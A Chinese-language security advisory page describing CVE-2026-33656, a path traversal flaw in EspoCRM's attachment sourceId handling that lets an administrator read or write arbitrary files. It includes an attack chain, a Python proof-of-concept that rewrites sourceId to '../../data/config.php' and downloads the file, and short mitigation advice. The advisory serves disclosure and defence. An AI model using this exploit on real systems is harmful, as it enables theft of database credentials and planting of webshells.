IPBUF安全漏洞报告
English
CVE-2026-33656 CVSS 9.1 严重

CVE-2026-33656 EspoCRM 任意文件读写漏洞

披露日期: 2026-04-22

漏洞信息

漏洞编号
CVE-2026-33656
漏洞类型
任意文件读写
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
EspoCRM

相关标签

EspoCRM任意文件读写路径遍历严重漏洞CVSS-9.1

漏洞概述

EspoCRM 9.3.4之前的版本存在安全漏洞。系统公式脚本引擎允许修改附件实体的sourceId字段,由于该字段在拼接文件路径时缺乏sanitization,导致拥有管理员权限的攻击者可将文件读写操作重定向至服务器任意路径,造成严重的数据泄露或篡改。

技术细节

该漏洞的核心在于EspoCRM处理附件文件路径时的不当过滤。在`EspoUploadDir::getFilePath()`方法中,系统直接将`Attachment`实体的`sourceId`字段拼接入文件路径,未进行安全校验。攻击者利用EspoCRM内置的公式脚本引擎,在拥有管理员权限的情况下,可以篡改任意附件记录的`sourceId`值。通过注入包含“../”等路径遍历序列的恶意payload,攻击者能够操纵文件操作的目标路径。这使得原本受限的文件读写功能可以被重定向至Web服务器`open_basedir`范围内的任意文件位置,从而实现读取敏感数据(如数据库凭证)或写入恶意文件(如Webshell)。

攻击链分析

STEP 1
1. 获取权限
攻击者需要获取EspoCRM管理员级别的账户凭证(PR:H要求)。
STEP 2
2. 定位目标附件
在系统中找到一个现有的Attachment实体ID,用于后续利用。
STEP 3
3. 修改sourceId
利用公式脚本引擎或API调用,修改该Attachment实体的sourceId字段,插入路径遍历Payload(如'../../config.php')。
STEP 4
4. 触发路径拼接
当系统对该附件进行读取或写入操作时,调用`EspoUploadDir::getFilePath()`,将恶意sourceId直接拼接到路径中。
STEP 5
5. 执行任意文件操作
由于路径未经过滤,系统最终访问了攻击者指定的任意路径文件,导致文件泄露或被篡改。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept for CVE-2026-33656 # This script demonstrates the concept of exploiting the sourceId manipulation. # Requires Admin privileges. import requests def exploit(target_url, admin_session_id, attachment_id, malicious_path): """ Exploit the sourceId vulnerability to write/read arbitrary files. """ headers = { "Cookie": f"ESPOM_SID={admin_session_id}", "Content-Type": "application/json" } # Step 1: Update the attachment's sourceId using Formula Script or API # The goal is to set sourceId to something like '../../../data/config.php' payload = { "sourceId": malicious_path } update_url = f"{target_url}/api/v1/Attachment/{attachment_id}" response = requests.patch(update_url, json=payload, headers=headers) if response.status_code == 200: print(f"[+] Successfully updated sourceId for attachment {attachment_id}") print(f"[+] Attempting to access file at: {malicious_path}") # Step 2: Trigger file read operation (e.g., downloading the attachment) download_url = f"{target_url}/api/v1/Attachment/{attachment_id}/download" file_response = requests.get(download_url, headers=headers) if file_response.status_code == 200: print("[+] File content retrieved:") print(file_response.text) else: print("[-] Failed to retrieve file.") else: print("[-] Failed to update attachment.") if __name__ == "__main__": # Example usage TARGET = "http://localhost/espocrm" SESSION = "admin_session_cookie_here" ATTACHMENT_ID = "target_attachment_id" # Path traversal payload to read config file PAYLOAD_PATH = "../../data/config.php" exploit(TARGET, SESSION, ATTACHMENT_ID, PAYLOAD_PATH)

影响范围

EspoCRM < 9.3.4

防御指南

临时缓解措施
如果无法立即升级,请严格监控所有管理员账户的活动,并审查系统中附件实体的sourceId字段变更。可以通过网络ACL限制对EspoCRM管理接口的访问来源,仅允许可信IP访问,以降低攻击面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表